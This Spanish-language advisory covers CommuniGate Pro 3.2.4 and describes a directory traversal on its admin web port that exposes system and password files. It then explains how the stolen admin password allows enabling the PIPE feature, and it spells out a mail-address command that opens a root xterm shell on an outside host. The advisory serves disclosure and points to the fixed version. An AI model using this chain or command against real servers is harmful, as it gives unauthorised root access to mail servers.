El servidor de correo CommuniGate Pro posee un servicio web que
permite escalar directorios fuera de su ámbito, a través de peticiones
«../..», y leer cualquier fichero del sistema. La explotación de esta
vulnerabilidad, junto con otras funcionalidades del programa, permite
el acceso remoto como root.
CommuniGate Pro es un servidor de correo comercial utilizado como
enrutador de mensajes SMTP y acceso a los mensajes a través de POP,
IMAP y HTTP, entre otros. Cuenta con versiones para una gran cantidad
de plataformas, si bien las vulnerabilidades que nos ocupan han sido
probadas en la distribución Linux de la versión 3.2.4.
Por defecto, el servidor de correo ofrece un servicio HTTP que permite
a los usuarios recibir y mandar mensajes a través de la web en el
puerto TCP 8100, al mismo tiempo que facilita al administrador la
configuración y gestión remota del servidor de correo por el puerto
8010.
CommuniGate nos ofrece una URL para acceder de forma directa a la guía
web del usuario, tras mapear /Guide/ a un subdirectorio de la
trayectoria donde hemos instalado el programa. El servidor web que
incorpora el programa sufre el conocido problema de la escalada de
directorios a través de peticiones «../..». Si hacemos una petición
al mapeo /Guide/ del servidor web de gestión usando esta técnica,
y dado que CommuniGate se ejecuta como superusuario y no libera
sus privilegios, podríamos obtener cualquier fichero del sistema,
incluido el archivos de contraseñas.
Mirando algunas de las funcionalidades de CommuniGate encontramos
la función PIPE, que permite a cualquier usuario mandar mensajes a
un programa en el servidor de correo. Por defecto esta funcionalidad
está desactivada, aunque dado que poseemos la contraseña de gestión,
gracias a la anterior vulnerabilidad, podemos activarla, configurar
el directorio de aplicaciones como /usr/X11R6/bin, incrementar el
tiempo máximo de ejecución de un proceso y mandar un correo a
«xterm -display 172.16.2.4:0.0 -e /bin/sh»@pipe con lo que se nos
abrirá una xterm como root en el escritorio.
Las versiones a partir de la v3.3b2 ya tienen este problema
solucionado, y pueden obtenerse de la web del fabricante
http://www.stalker.com.
Más información:
CommuniGate Pro
http://www.stalker.com/CommuniGatePro/
Vulnerabilidades en CommuniGate Pro v3.2.4 (S21SEC)
http://www.s21sec.com/es/avisos/s21sec-003-es.txt